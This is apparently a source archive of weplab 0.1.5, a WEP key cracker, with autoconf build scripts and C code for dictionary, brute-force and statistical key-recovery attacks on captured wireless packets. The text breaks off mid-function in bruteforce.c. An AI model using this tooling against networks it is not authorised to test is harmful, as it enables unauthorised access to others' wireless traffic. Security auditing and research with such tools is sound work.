checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? 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echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_c_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? 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IN NO EVENT SHALL THE # X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN # AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC- # TION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # Except as contained in this notice, the name of the X Consortium shall not # be used in advertising or otherwise to promote the sale, use or other deal- # ings in this Software without prior written authorization from the X Consor- # tium. # # # FSF changes to this file are in the public domain. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. 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IFS='%' set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` IFS="${oIFS}" pathcomp='' while [ $# -ne 0 ] ; do pathcomp="${pathcomp}${1}" shift if [ ! -d "${pathcomp}" ] ; then $mkdirprog "${pathcomp}" else true fi pathcomp="${pathcomp}/" done fi if [ x"$dir_arg" != x ] then $doit $instcmd $dst && if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi else # If we're going to rename the final executable, determine the name now. if [ x"$transformarg" = x ] then dstfile=`basename $dst` else dstfile=`basename $dst $transformbasename | sed $transformarg`$transformbasename fi # don't allow the sed command to completely eliminate the filename if [ x"$dstfile" = x ] then dstfile=`basename $dst` else true fi # Make a temp file name in the proper directory. dsttmp=$dstdir/#inst.$$# # Move or copy the file name to the temp name $doit $instcmd $src $dsttmp && trap "rm -f ${dsttmp}" 0 && # and set any options; do chmod last to preserve setuid bits # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $instcmd $src $dsttmp" command. if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && # Now rename the file to the real destination. $doit $rmcmd -f $dstdir/$dstfile && $doit $mvcmd $dsttmp $dstdir/$dstfile fi && exit 0 weplab-0.1.5/missing0000755000000000000000000001452010201333265011252 00000000000000#! /bin/sh # Common stub for a few missing GNU programs while installing. # Copyright (C) 1996, 1997, 2001, 2002 Free Software Foundation, Inc. # Franc,ois Pinard , 1996. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA # 02111-1307, USA. if test $# -eq 0; then echo 1>&2 "Try \`$0 --help' for more information" exit 1 fi # In the cases where this matters, `missing' is being run in the # srcdir already. if test -f configure.in; then configure_ac=configure.ac else configure_ac=configure.in fi case "$1" in -h|--h|--he|--hel|--help) echo "\ $0 [OPTION]... PROGRAM [ARGUMENT]... Handle \`PROGRAM [ARGUMENT]...' for when PROGRAM is missing, or return an error status if there is no known handling for PROGRAM. Options: -h, --help display this help and exit -v, --version output version information and exit Supported PROGRAM values: aclocal touch file \`aclocal.m4' autoconf touch file \`configure' autoheader touch file \`config.h.in' automake touch all \`Makefile.in' files bison create \`y.tab.[ch]', if possible, from existing .[ch] flex create \`lex.yy.c', if possible, from existing .c lex create \`lex.yy.c', if possible, from existing .c makeinfo touch the output file yacc create \`y.tab.[ch]', if possible, from existing .[ch]" ;; -v|--v|--ve|--ver|--vers|--versi|--versio|--version) echo "missing - GNU libit 0.0" ;; -*) echo 1>&2 "$0: Unknown \`$1' option" echo 1>&2 "Try \`$0 --help' for more information" exit 1 ;; aclocal*) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`acinclude.m4' or \`$configure_ac'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." touch aclocal.m4 ;; autoconf) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`$configure_ac'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." touch configure ;; autoheader) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`acconfig.h' or \`$configure_ac'. You might want to install the \`Autoconf' and \`GNU m4' packages. Grab them from any GNU archive site." files=`sed -n 's/^[ ]*A[CM]_CONFIG_HEADER(\([^)]*\)).*/\1/p' $configure_ac` test -z "$files" && files="config.h" touch_files= for f in $files; do case "$f" in *:*) touch_files="$touch_files "`echo "$f" | sed -e 's/^[^:]*://' -e 's/:.*//'`;; *) touch_files="$touch_files $f.in";; esac done touch $touch_files ;; automake*) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified \`Makefile.am', \`acinclude.m4' or \`$configure_ac'. You might want to install the \`Automake' and \`Perl' packages. Grab them from any GNU archive site." find . -type f -name Makefile.am -print | sed 's/\.am$/.in/' | while read f; do touch "$f"; done ;; bison|yacc) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified a \`.y' file. You may need the \`Bison' package in order for those modifications to take effect. You can get \`Bison' from any GNU archive site." rm -f y.tab.c y.tab.h if [ $# -ne 1 ]; then eval LASTARG="\${$#}" case "$LASTARG" in *.y) SRCFILE=`echo "$LASTARG" | sed 's/y$/c/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" y.tab.c fi SRCFILE=`echo "$LASTARG" | sed 's/y$/h/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" y.tab.h fi ;; esac fi if [ ! -f y.tab.h ]; then echo >y.tab.h fi if [ ! -f y.tab.c ]; then echo 'main() { return 0; }' >y.tab.c fi ;; lex|flex) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified a \`.l' file. You may need the \`Flex' package in order for those modifications to take effect. You can get \`Flex' from any GNU archive site." rm -f lex.yy.c if [ $# -ne 1 ]; then eval LASTARG="\${$#}" case "$LASTARG" in *.l) SRCFILE=`echo "$LASTARG" | sed 's/l$/c/'` if [ -f "$SRCFILE" ]; then cp "$SRCFILE" lex.yy.c fi ;; esac fi if [ ! -f lex.yy.c ]; then echo 'main() { return 0; }' >lex.yy.c fi ;; makeinfo) echo 1>&2 "\ WARNING: \`$1' is missing on your system. You should only need it if you modified a \`.texi' or \`.texinfo' file, or any other file indirectly affecting the aspect of the manual. The spurious call might also be the consequence of using a buggy \`make' (AIX, DU, IRIX). You might want to install the \`Texinfo' package or the \`GNU make' package. Grab either from any GNU archive site." file=`echo "$*" | sed -n 's/.*-o \([^ ]*\).*/\1/p'` if test -z "$file"; then file=`echo "$*" | sed 's/.* \([^ ]*\) *$/\1/'` file=`sed -n '/^@setfilename/ { s/.* \([^ ]*\) *$/\1/; p; q; }' $file` fi touch $file ;; *) echo 1>&2 "\ WARNING: \`$1' is needed, and you do not seem to have it handy on your system. You might have modified some files without having the proper tools for further handling them. Check the \`README' file, it often tells you about the needed prerequirements for installing this package. You may also peek at any GNU archive site, in case some other package would contain this missing \`$1' program." exit 1 ;; esac exit 0 weplab-0.1.5/mkinstalldirs0000755000000000000000000000132210201333265012455 00000000000000#! /bin/sh # mkinstalldirs --- make directory hierarchy # Author: Noah Friedman # Created: 1993-05-16 # Public domain # $Id: mkinstalldirs,v 1.13 1999/01/05 03:18:55 bje Exp $ errstatus=0 for file do set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` shift pathcomp= for d do pathcomp="$pathcomp$d" case "$pathcomp" in -* ) pathcomp=./$pathcomp ;; esac if test ! -d "$pathcomp"; then echo "mkdir $pathcomp" mkdir "$pathcomp" || lasterr=$? if test ! -d "$pathcomp"; then errstatus=$lasterr fi fi pathcomp="$pathcomp/" done done exit $errstatus # mkinstalldirs ends here weplab-0.1.5/main.c0000644000000000000000000003473210211443145010752 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- main.c: application entry point. */ #include #include #include #include #define _GNU_SOURCE #include #include #include "globals.h" #include "debug.h" #include "dictionary.h" #include "bruteforce.h" #include "heuristics.h" #include "analpfile.h" #include "capture.h" #include "attack.h" void ShowVersion(void){ printf("\n%s\n\n",PROGRAM_VERSION); exit(0); } void ShowBanner(void){ printf("%s Wep Key Cracker (%s).\n%s\n\n",PROGRAM_NAME, PROGRAM_VERSION, PROGRAM_AUTHOR); } void SimpleUsageMsg(char *programName){ ShowBanner(); printf("Usage: %s [-a|-b|-r|-y|-c] [-k ] [extended options] \n", programName); printf(" Modes:\n"); printf(" -a analyze pcap file and show information\n"); printf(" -y uses words (from stdin or wordfile) as wep keys\n"); printf(" -b brute forces wep keys\n"); printf(" -r uses statistical attacks to break the key\n"); printf(" -c capture encrypted data packets from a wireless interface\n"); printf(" -k [64|128] specifies 128 or 64 bits (default) key\n"); printf(" -h, --help display help about extended options\n"); printf("\n"); exit(1); } void UsageMsg(char *programName){ ShowBanner(); printf("Usage: %s [OPTIONS]... FILE\n", programName); printf(" Options:\n"); printf(" --debug prints debug information\n"); printf(" -v, --verbose print more information\n"); printf(" -y, --dictionary uses words (from stdin) as wep keys\n"); printf(" -k, --key [64|128] specifies 128 or 64 bits (default) key\n"); printf(" -b, --bruteforce brute forces wep keys\n"); printf(" -c, --capture capture encrypted data packets\n"); printf(" -i, --interface for capturing packets with --capture \n"); printf(" -r, --heuristics file uses weak keys and intelligent bruteforce\n"); printf(" -a, --analysis analyze file and get lite statistics\n"); printf(" -m, --multiprocess Assume of processes. Number must be between 1-64. Default 1.\n"); printf(" --caplen maximun length of captured packets with --capture (default 80) \n"); printf(" --fcs assume all captured frames has the FCS field\n"); printf(" --keyid just analyze specific id Wep packets. Only for 64 bits keys. (default 0)\n"); printf(" --prismheader assume all captured frames has the Prism header\n"); printf(" --allow_dups do not control packets with duplicated IVs\n"); printf(" --perc uses this minimun percentage of succeed when using FMS cracking\n"); printf(" --wordfile instead of reading words from stdin it uses this text file as wordfile for the dictionary attack\n"); printf(" --ascii just use bytes 0x00-0x7F for bruteforce wep key with --bruteforce\n"); printf(" --alpha just use bytes 0x41-0x7A for bruteforce wep key with --bruteforce\n"); printf(" --alnum just use bytes 0x30-0x7A for bruteforce wep key with --bruteforce\n"); printf(" --stability selects level of stability. Another way to specify which attacks, depending on their stability level, will be launched\n"); printf(" --debugkey Gives the real wep key to weplab to gather information about a crack. must be in the form of AA:BB:CC:DD... and may be incomplete.\n"); printf(" --attacks allows you to select which attacks will be used for heuristic mode.\n"); printf(" --bssid does only process those packets that belongs to specified BSSID\n"); printf(" -h, --help display this help and exit\n"); printf(" -V, --version output version information and exit\n"); printf("\n"); exit(1); } void ShowHelp(void){ char programName[2048]; sprintf(programName,"%s %s",PROGRAM_NAME, PROGRAM_VERSION); UsageMsg(programName); } void QuitParameterError(char *error){ printf("\n ERROR:"); printf(error); printf("\n\n Maybe you should take a look at the extended options (--help), read the manual (README) or visit the website http://weplab.sourceforge.net\n\n\n"); exit(1); } int hex2int(char buffer){ if (buffer=='0') return 0; else if (buffer=='1') return 1; else if (buffer=='2') return 2; else if (buffer=='3') return 3; else if (buffer=='4') return 4; else if (buffer=='5') return 5; else if (buffer=='6') return 6; else if (buffer=='7') return 7; else if (buffer=='8') return 8; else if (buffer=='9') return 9; else if (buffer=='A' || buffer=='a') return 10; else if (buffer=='B' || buffer=='b') return 11; else if (buffer=='C' || buffer=='c') return 12; else if (buffer=='D' || buffer=='d') return 13; else if (buffer=='E' || buffer=='e') return 14; else if (buffer=='F' || buffer=='f') return 15; else return 20; } int ReadHexByteArray(unsigned char *asciiByteArray, unsigned char *destination, int asciiByteArrayMaxSize){ int i,j; int total=0; unsigned char h1, h2; for (i=0; asciiByteArray[i]!=0 && asciiByteArray[i+1]!=0 && iNUMBER_ATTACKS || !atoi(saux)) QuitParameterError("attacks to be launched must be defined as positive numbers from 1 to 5 splitted by commas and no spaces"); defaultAttacks[STABILITY_LEVELS][atoi(saux)-1]=1; global_v.stability=0; saux=(&optarg[i])+1; } }else if (!strncmp(long_options[option_index].name,"keyid",50)){ totalArgvParameters+=2; if (!optarg || optarg[0]=='-' || totalArgvParameters == argc) QuitParameterError("keyid must be a positive number from 1 to 4"); global_v.keyid=atoi(optarg); }else if (!strncmp(long_options[option_index].name,"wordfile",50)){ totalArgvParameters+=2; if (!optarg || optarg[0]=='-' || totalArgvParameters == argc) QuitParameterError("you must specify a file to be used as wordfile"); strncpy(global_v.wordfile,optarg,255); }else if (!strncmp(long_options[option_index].name,"bssid",50)){ totalArgvParameters+=2; if (!optarg || optarg[0]=='-' || totalArgvParameters == argc) QuitParameterError("BSSID must be specified"); if (sscanf(optarg, "%x:%x:%x:%x:%x:%x", &tmp[0], &tmp[1], &tmp[2], &tmp[3], &tmp[4], &tmp[5]) < 6) { printf("unable to parse bssid\n"); exit(2); } for(i = 0; i < 6; i++) { global_v.target_bssid[i] = tmp[i] & 0xff; } global_v.target_bssid_selected = 1; }else if (!strncmp(long_options[option_index].name,"debugkey",50)){ totalArgvParameters+=2; if (!optarg || optarg[0]=='-' || totalArgvParameters == argc) QuitParameterError("debug key must be specified"); global_v.useDebugKey=ReadHexByteArray(optarg,global_v.debugKey,strlen(optarg)+1); if (global_v.useDebugKey==0){ printf("ERROR: you have to specify the key like AA:BB:CC:DD:EE \n"); exit (1); } } break; default: QuitParameterError("ERROR: unknown option.\n\n"); } } //debug("%u %u %u",option_index,argc,totalArgvParameters); if (totalArgvParameters != argc-1){ QuitParameterError("Take a look at the command line options help.\nPerhaps you have selected two pcap files instead of one.\n\n"); } strncpy(global_v.packetsFilename,argv[totalArgvParameters],200); if (!strcmp(global_v.weakPcapFilename,"")) strncpy(global_v.weakPcapFilename, global_v.packetsFilename, 200); if (optionSelected==1){ QuitParameterError("You must select 1 attack: dictionary, heuristics, brute force.\n\n"); } if (optionSelected>5){ QuitParameterError("You can just select 1 attack: dictionary, heuristics, brute force; or packets capture mode\n\n"); } if (keySize==128) global_v.key_len=13; else if (keySize!=64) { QuitParameterError("You must specify the key size. Sizes supported in this version: 64, 128\n\n"); } if (global_v.stability<0 || global_v.stability>STABILITY_LEVELS-1){ QuitParameterError("stability level must be between 1 and 5\n\n"); } if (global_v.processes<1 && global_v.processes>64){ QuitParameterError("Number of processors must be between 1 and 64.\n\n"); } ShowBanner(); #ifdef _DEBUG debug("Debug mode initialized"); debug("Using pcap version %s",pcap_lib_version()); #endif // Initializing S for KSA of rc4 for(i = 0; i < 256; i++) S_InitialBackup[i] = i; if (optionSelected==2) dictionary(); else if (optionSelected==3) heuristics(); else if (optionSelected==4) bruteforce(); else if (optionSelected==5) captureWeakPackets(); else if (optionSelected==0) AnalyzePcapFile(); #ifdef _DEBUG debug("Finishing the program..."); #endif return 0; } weplab-0.1.5/analpfile.c0000644000000000000000000001544610155572167012000 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- analpfile.c: dictionary based wep crack. */ #include #include #include #include #include #include #include "wep.h" #include "globals.h" #include "debug.h" #include "analpfile.h" #include "heuristics.h" #define HUGE_MEM_WEAKPACKETS_SIZE 104000000 #define HASHARRAY_SIZE 4096 void AnalyzePcapFile(void){ t_StoredPacketsIV packetsIV; pcap_t *file; int i; int indexArray=0; unsigned long int fileSize=0; unsigned long int actualFilePosition; unsigned long int perc; unsigned long int lastFilePosition=0; unsigned char * pkt; struct pcap_pkthdr h; t_wi_frame *wi_h; unsigned char *iv; unsigned long lastProgressPerc=0; bssidStat bssidStatArray[HASHARRAY_SIZE]; unsigned char bssidOriginal[HASHARRAY_SIZE][7]; unsigned int p_len; char bssid[6]; unsigned char *actual_iv; FILE * fileDescriptor; // Initialize all array members to 0 memset(bssidStatArray,0,HASHARRAY_SIZE*sizeof(bssidStat)); memset(bssidOriginal,0,HASHARRAY_SIZE*7); #ifdef _DEBUG debug("Starting pcap file analysis."); #endif packetsIV.iv=malloc(HUGE_MEM_WEAKPACKETS_SIZE); packetsIV.len=0; if (!packetsIV.iv) { printf("Error: not enough memmory to allocate %u",HUGE_MEM_WEAKPACKETS_SIZE); exit (-1); } debug ("Setting the memmory to 0s"); memset(packetsIV.iv,0,HUGE_MEM_WEAKPACKETS_SIZE); debug ("Opening packet file for reading sample encrypted packets"); file=OpenPcapFile(global_v.packetsFilename); fileDescriptor=pcap_file(file); actualFilePosition=ftell(fileDescriptor); fseek(fileDescriptor,0,SEEK_END); fileSize=ftell(fileDescriptor); fseek(fileDescriptor,actualFilePosition,SEEK_SET); perc=fileSize/100; while(1) { if ((pkt = (unsigned char *) pcap_next(file, &h)) == NULL) break; if (global_v.prismHeaderPresent){ if (GetPacketBssid(pkt+144,bssid)){ indexArray=(unsigned int) ((bssid[0]^bssid[1]+bssid[2]^bssid[3]+bssid[4]^bssid[5])&0x00000FFF); if (!bssidOriginal[indexArray][6]){ bssidOriginal[indexArray][6]=1; memcpy(bssidOriginal[indexArray],bssid,6); } } else indexArray=0; }else{ if (GetPacketBssid(pkt,bssid)){ indexArray=(unsigned char) ((bssid[0]^bssid[1]+bssid[2]^bssid[3]+bssid[4]^bssid[5])&0x00000FFF); if (!bssidOriginal[indexArray][6]){ bssidOriginal[indexArray][6]=1; memcpy(bssidOriginal[indexArray],bssid,6); } } else indexArray=0; } bssidStatArray[indexArray].totalPackets++; actualFilePosition=ftell(fileDescriptor); if (actualFilePosition-lastFilePosition>perc) { printf("\r %lu %% read",lastProgressPerc++); fflush(stdout); lastFilePosition=actualFilePosition; } if (global_v.prismHeaderPresent) { if (h.len<144+sizeof(t_wi_frame)) { if (global_v.debug>2) debug("Packet %u has negative size with prismheader!! Perhaps you dont need --prismheader"); bssidStatArray[indexArray].totalPacketsNegativePrismheader++; continue; } p_len=h.len-144; pkt+=144; } else p_len=h.len; wi_h=(t_wi_frame *)pkt; // Here do some sanity checks with the 802.11 header if (h.len!=h.caplen) bssidStatArray[indexArray].totalPacketsTruncated++; if (h.len<144+sizeof(t_wi_frame)) bssidStatArray[indexArray].totalPacketsNegativePrismheader++; if(!(wi_h->wi_frame_ctl_1&0x08)) bssidStatArray[indexArray].totalPacketsNonData++; else { //p_len=h.caplen; if (((*(((unsigned char *)wi_h)+1))&0xC0)==0xC0) iv=pkt+sizeof(t_wi_frame)+6; else iv=pkt+sizeof(t_wi_frame); if (global_v.debug>1){ debug("Packet %u",bssidStatArray[0].totalPackets); debug("---------------------------------------------"); DebugViewPacketHeaders(pkt); debug("Pcap Len: %u",h.len); debug("Key ID: %u",(unsigned int)iv[3]); debug("---------------------------------------------\n"); } bssidStatArray[indexArray].totalValidPackets++; if (global_v.debug>1) DebugViewKey(iv,3); actual_iv=packetsIV.iv+((unsigned int)(((unsigned int) iv[0]) | (((unsigned int) iv[1]) << 8) | (((unsigned int) iv[2]) << 16))); if (!actual_iv[0]){ bssidStatArray[indexArray].totalUniqIV++; } if (global_v.fcsPresent) if (iv[p_len-4-1]==0xFF &&iv[p_len-4]==0xFF &&iv[p_len-4+1]==0xFF &&iv[p_len-4+2]==0xFF) bssidStatArray[indexArray].totalPacketsChecksumFF++; if (!global_v.fcsPresent) if (iv[p_len-1]==0xFF &&iv[p_len]==0xFF &&iv[p_len+1]==0xFF &&iv[p_len+2]==0xFF) bssidStatArray[indexArray].totalPacketsChecksumFF++; } } printf("\r \n"); for (i=1; i<256; i++) if (bssidStatArray[i].totalPackets){ indexArray=(unsigned int) ((bssid[0]^bssid[1]+bssid[2]^bssid[3]+bssid[4]^bssid[5])&0x00000FFF); printf(" Statistics for packets that belong to [%02X:%02X:%02X:%02X:%02X:%02X]\n", TOMAC(bssidOriginal[i])); printf(" - Total valid packets read: %lu\n",bssidStatArray[i].totalValidPackets); printf(" - Total packets read: %lu\n",bssidStatArray[i].totalPackets); printf(" - Total unique IV read: %lu\n",bssidStatArray[i].totalUniqIV); printf(" - Total truncated packets read: %lu\n",bssidStatArray[i].totalPacketsTruncated); printf(" - Total non-data packets read: %lu\n",bssidStatArray[i].totalPacketsNonData); printf(" - Total FF checksum packets read: %lu\n",bssidStatArray[i].totalPacketsChecksumFF); if (bssidStatArray[i].totalPacketsNegativePrismheader>1) printf("PRISMHEADER SHOULD --NOT-- BE USED as there are %lu packets smaller than this header\n",bssidStatArray[i].totalPacketsNegativePrismheader); } if (bssidStatArray[0].totalPackets){ printf(" Statistics for packets that do not belong to any BSSID (BSSID field was not detected)\n"); printf(" - Total valid packets read: %lu\n",bssidStatArray[0].totalValidPackets); printf(" - Total packets read: %lu\n",bssidStatArray[0].totalPackets); printf(" - Total unique IV read: %lu\n",bssidStatArray[0].totalUniqIV); printf(" - Total truncated packets read: %lu\n",bssidStatArray[0].totalPacketsTruncated); printf(" - Total non-data packets read: %lu\n",bssidStatArray[0].totalPacketsNonData); printf(" - Total FF checksum packets read: %lu\n",bssidStatArray[0].totalPacketsChecksumFF); } fflush(stdout); ClosePcapFile(file); } weplab-0.1.5/analpfile.h0000644000000000000000000000221310117410255011754 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- analpfile.h: dictionary based wep crack. */ typedef struct{ unsigned long int totalPackets; unsigned long int totalValidPackets; unsigned long int totalUniqIV; unsigned long int totalPacketsTruncated; unsigned long int totalPacketsNonData; unsigned long int totalPacketsChecksumFF; unsigned long int totalPacketsNegativePrismheader; }bssidStat; void AnalyzePcapFile(void); weplab-0.1.5/bruteforce.c0000644000000000000000000001456310211370465012172 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- bruteforce.c: dictionary based wep crack. */ #include #include #include #include #include #include #include #include #include #include "globals.h" #include "debug.h" #include "bruteforce.h" #include "wep.h" unsigned long int totalTests=0; short nTotalTests=0; t_bruteforceKey key; time_t initialTime; time_t lastTime; time_t actualTime; pid_t arrayProcesses[64]; int currentProcessNumber=0; unsigned char finalByte=0xFF; unsigned char initByte=0x00; short IncrementKey(t_bruteforceKey *key){ int i; for (i=0; ilogicalStatus[i]==key->keyspace[i].total-1){ key->logicalStatus[i]=0; key->key[i]=key->keyspace[i].values[key->logicalStatus[i]]; }else{ key->logicalStatus[i]++; key->key[i]=key->keyspace[i].values[key->logicalStatus[i]]; break; } } //for (i=0; ikey[i]=key->keyspace[i].values[key->logicalStatus[i]]; if (i==global_v.key_len && key->logicalStatus[i]==0) return 1; return 0; } inline void IncrementKeyOptimized(t_bruteforceKey *key){ register int i; for (i=0; ibyte0IntValue+global_v.processes>finalByte){ key->key[i]=initByte+currentProcessNumber; key->byte0IntValue=key->key[i]; }else if (i && key->key[i]==finalByte){ key->key[i]=initByte; if (i==(global_v.key_len-1)) { /* We have already covered the whole keyspace so we can show statistics and quit */ printf(" => Process %u finished!\n",currentProcessNumber); kill(getpid(), SIGUSR1); //exit(1); } }else{ if (!i){ //key->key[i]+=global_v.processes; key->byte0IntValue+=global_v.processes; key->key[i]=key->byte0IntValue; break; }else{ if (!key->key[i]) { if (!initByte) key->key[i]=initByte+1; else key->key[i]=initByte; }else key->key[i]++; break; } } } //printf("Process %u: ",currentProcessNumber); //ViewKey (key->key,global_v.key_len); } void catch_int(int sig_num){ int i; if (!currentProcessNumber) for (i=1; i",currentProcessNumber); if (!nTotalTests) printf(" %lu keys tested [",totalTests); else printf(" %d * %lu keys tested [",nTotalTests, totalTests); if (actualTime-lastTime) printf("%lu c/s] >>> ",(unsigned long int)totalTests/(actualTime-lastTime)); ViewKey (key.key,global_v.key_len); } void bruteforce (void){ t_storedPacket *packets[10]; pcap_t *file; pid_t mpid; int i; int j; int c; int totalPackets; //unsigned char key2[13]="\x3e\x9a\xa0\xa4\xc6\x2e\xad\x59\x5a\x07\xa1\x80\x1f"; int trues; int totalTemp=0; #ifdef _DEBUG debug("Starting bruteforce based cracking."); #endif file=OpenPcapFile(global_v.packetsFilename); signal(SIGUSR1, SIG_IGN); for (i=0; i<10; i++) { packets[i]=malloc(sizeof(t_storedPacket)); packets[i]->packet=NULL; } totalPackets=GetLessSizedPackets(file, packets); DebugView10Packets(packets, totalPackets); ClosePcapFile(file); initByte=0; if (global_v.ascii) { finalByte=0x7F; printf(" => Ascii mode selected. Only values from 0x00 to 0x7F will be tested\n\n"); } else finalByte=0xFF; if 